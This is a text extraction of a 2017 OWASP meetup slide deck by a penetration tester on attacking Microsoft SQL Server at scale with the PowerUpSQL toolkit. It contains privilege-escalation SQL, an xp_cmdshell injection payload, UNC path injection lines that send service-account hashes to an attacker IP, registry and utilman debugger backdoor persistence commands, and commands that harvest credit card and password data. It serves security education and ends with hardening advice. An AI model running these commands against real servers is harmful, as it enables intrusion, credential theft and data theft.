4 Create new RID with by appending a hex number value and the SID

5 Use ldquosuser_namerdquo function to get domain object name

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

5 Use ldquosuser_namerdquo function to get domain object name

6 Increment and repeat

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges DEMO

DEMOGet-SQLFuzzServerLogin

Invoke-SQLAuditWeakLoginPw

Get-SQLFuzzDomainAccount

>

Escalating Privileges Impersonation

1 Impersonate Privilege

bull Server EXECUTE AS LOGIN

bull Database EXECUTE AS USER

2 Stored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER

bull Signed with cert login

3 Automatic Execution of Stored Procedures

4 Agent Jobs

bull User Reader and Operator roles

5 xp_cmdshell proxy acount

6 Create Databse Link to File or Server

7 Import Install Custom Assemblies

8 Ad-Hoc Queries

9 Shared Service Accounts

10 Database Links

11 UNC Path Injection

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Prosbull Execute queriescommands in another user

context

Consbull Commands and queries are not limited in any waybull Requires database to be configured as trustworthy

for OS command execution

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE

Consbull No granular control over the database ownerrsquos

privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB

which is often a sysadminbull Requires database to be configured as trustworthy for

OS command executionbull Impersonation can be done via SQL injection under

specific conditionsbull Impersonation can be done via command injection

under specific conditions

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

SYSADMIN is often the

OWNER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull Use signed Procedures

o Create stored procedure

o Create a database master key

o Create a certificate

o Create a login from the certificate

o Configure login privileges

o Sign stored procedure with certifiate

o GRANT EXECUTE to User

Prosbull Can execute queriescommands in another user

contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as

trustworthy for OS command execution

Consbull Impersonation can be done via SQL injection

under specific conditionsbull Impersonation can be done via command

injection under specific conditions

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

PURE EVIL

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure

bull Stored procedures ca be configured to execute when the SQL Server service restarts

Prosbull Marking a stored procedure to run when the SQL

Server service restarts has many use casesbull Only stored procedures in the master database

can be marked for auto execution

Consbull No granular control over what context the startup

command is executed inbull All stored procedures marked for auto execution

are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures

can lead to execution as lsquosarsquo

Escalating Privileges DEMO

DEMOInvoke-SQLAudit

Escalating Privileges Invoke-SQLPrivEsc

Whooray for Automation Demo

>

Escalating Privileges DEMO

DEMOInvoke-SQLEscalatePriv

Escalating Privileges Invoke-SQLPrivEsc

DEMO

>

EscalatingPrivileges

SysAdmin to Service Account

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

Executing OS Commands xp_cmdshell Custom Assemblies (net) httpsekirkitycomseeclrly-fileless-sql-server-clr-based-custom-stored-procedure-command-execution Custom Extended Stored Procedures (C++) Agent Jobs httpswwwoptivcomblogmssql-agent-jobs-for-command-execution

o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package

Registry Autoruns File Autoruns

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

You donrsquot need to know the password crack a hash or PTH

Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin

Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016

bull We can now escalation from service account to LocalSystem

bull No patch that Irsquom aware of

bull Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)

Blog

httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system

Code

httpsgithubcomfoxglovesecRottenPotato

Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution

PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc

EscalatingPrivileges

Shared Service Accounts

Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts

1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them

One account to rule them all

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Access to HVA with shared domain service account

Key

HVA = High Value Application

LVA = Low Value Application

Execute commands and gather data from other

database servers via osql

3

Leveraging Shared MS SQL Server Service Accounts

EscalatingPrivileges

Crawling SQL Server Links

Escalating Privileges Crawling SQL Server LinksWhatrsquos a SQL Server link

SQL Server links are basically persistent database connections for SQL Servers

Why should I care

Short answer = privilege escalation

Public role can use links to execute queries on remote servers (impersonation)

SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)

Stored procedures can be executed (xp_cmdshell)

Links can be crawled

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain EvilKey

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB Link with

SA account

DB1

LVA

Execute SQL queries and local commands on

database servers via nested linked services

2

Escalating Privileges Crawling SQL Server Links

Penetration Test Stats

Database links exist (and can be crawled) in about 50 of environments wersquove seen

The max number of hops wersquove seen is 12

The max number of servers crawled is 226

Escalating Privileges Crawling Server Links

Old Script

Released 2012 httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler

New Functions

Author Antti Rantasaari httpsblognetspicomsql-server-link-crawling-powerupsql

Escalating Privileges Crawling Server LinksFunction Description

Get-SQLServerLink Get a list of SQL Server Link on the server

Get-SQLServerLinkCrawl Crawls linked servers and supports SQL query and OS command execution

Examples

Get-SQLServerLinkCrawl -verbose -instance 1029101SQLSERVER2008ldquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoselect from mastersysdatabasesrdquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoexec masterxp_cmdshell lsquowhoamirsquordquo

Escalating Privileges Crawling Server Links

DEMO

Escalating Privileges Database Links

DEMO

>

Escalating Privileges Crawling Server Links

EscalatingPrivileges

UNC Path Injection

Escalating Privileges UNC Path Injection

UNC Path Injection Summary

UNC paths are used for accessing remote file servers like so 19216814file

Almost all procedures that accept a file path in SQL Server support UNC paths

UNC paths can be used to force the SQL Server service account to authenticate to an attacker

An attacker can then capture the NetNTLM password hash and crack or relay it

Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Escalating Privileges UNC Path Injection

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 39: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000 SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

5 Use ldquosuser_namerdquo function to get domain object name

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

5 Use ldquosuser_namerdquo function to get domain object name

6 Increment and repeat

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges DEMO

DEMOGet-SQLFuzzServerLogin

Invoke-SQLAuditWeakLoginPw

Get-SQLFuzzDomainAccount

>

Escalating Privileges Impersonation

1 Impersonate Privilege

bull Server EXECUTE AS LOGIN

bull Database EXECUTE AS USER

2 Stored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER

bull Signed with cert login

3 Automatic Execution of Stored Procedures

4 Agent Jobs

bull User Reader and Operator roles

5 xp_cmdshell proxy acount

6 Create Databse Link to File or Server

7 Import Install Custom Assemblies

8 Ad-Hoc Queries

9 Shared Service Accounts

10 Database Links

11 UNC Path Injection

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Prosbull Execute queriescommands in another user

context

Consbull Commands and queries are not limited in any waybull Requires database to be configured as trustworthy

for OS command execution

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE

Consbull No granular control over the database ownerrsquos

privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB

which is often a sysadminbull Requires database to be configured as trustworthy for

OS command executionbull Impersonation can be done via SQL injection under

specific conditionsbull Impersonation can be done via command injection

under specific conditions

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

SYSADMIN is often the

OWNER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull Use signed Procedures

o Create stored procedure

o Create a database master key

o Create a certificate

o Create a login from the certificate

o Configure login privileges

o Sign stored procedure with certifiate

o GRANT EXECUTE to User

Prosbull Can execute queriescommands in another user

contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as

trustworthy for OS command execution

Consbull Impersonation can be done via SQL injection

under specific conditionsbull Impersonation can be done via command

injection under specific conditions

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

PURE EVIL

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure

bull Stored procedures ca be configured to execute when the SQL Server service restarts

Prosbull Marking a stored procedure to run when the SQL

Server service restarts has many use casesbull Only stored procedures in the master database

can be marked for auto execution

Consbull No granular control over what context the startup

command is executed inbull All stored procedures marked for auto execution

are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures

can lead to execution as lsquosarsquo

Escalating Privileges DEMO

DEMOInvoke-SQLAudit

Escalating Privileges Invoke-SQLPrivEsc

Whooray for Automation Demo

>

Escalating Privileges DEMO

DEMOInvoke-SQLEscalatePriv

Escalating Privileges Invoke-SQLPrivEsc

DEMO

>

EscalatingPrivileges

SysAdmin to Service Account

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

Executing OS Commands xp_cmdshell Custom Assemblies (net) httpsekirkitycomseeclrly-fileless-sql-server-clr-based-custom-stored-procedure-command-execution Custom Extended Stored Procedures (C++) Agent Jobs httpswwwoptivcomblogmssql-agent-jobs-for-command-execution

o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package

Registry Autoruns File Autoruns

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

You donrsquot need to know the password crack a hash or PTH

Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin

Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016

bull We can now escalation from service account to LocalSystem

bull No patch that Irsquom aware of

bull Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)

Blog

httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system

Code

httpsgithubcomfoxglovesecRottenPotato

Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution

PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc

EscalatingPrivileges

Shared Service Accounts

Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts

1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them

One account to rule them all

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Access to HVA with shared domain service account

Key

HVA = High Value Application

LVA = Low Value Application

Execute commands and gather data from other

database servers via osql

3

Leveraging Shared MS SQL Server Service Accounts

EscalatingPrivileges

Crawling SQL Server Links

Escalating Privileges Crawling SQL Server LinksWhatrsquos a SQL Server link

SQL Server links are basically persistent database connections for SQL Servers

Why should I care

Short answer = privilege escalation

Public role can use links to execute queries on remote servers (impersonation)

SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)

Stored procedures can be executed (xp_cmdshell)

Links can be crawled

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain EvilKey

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

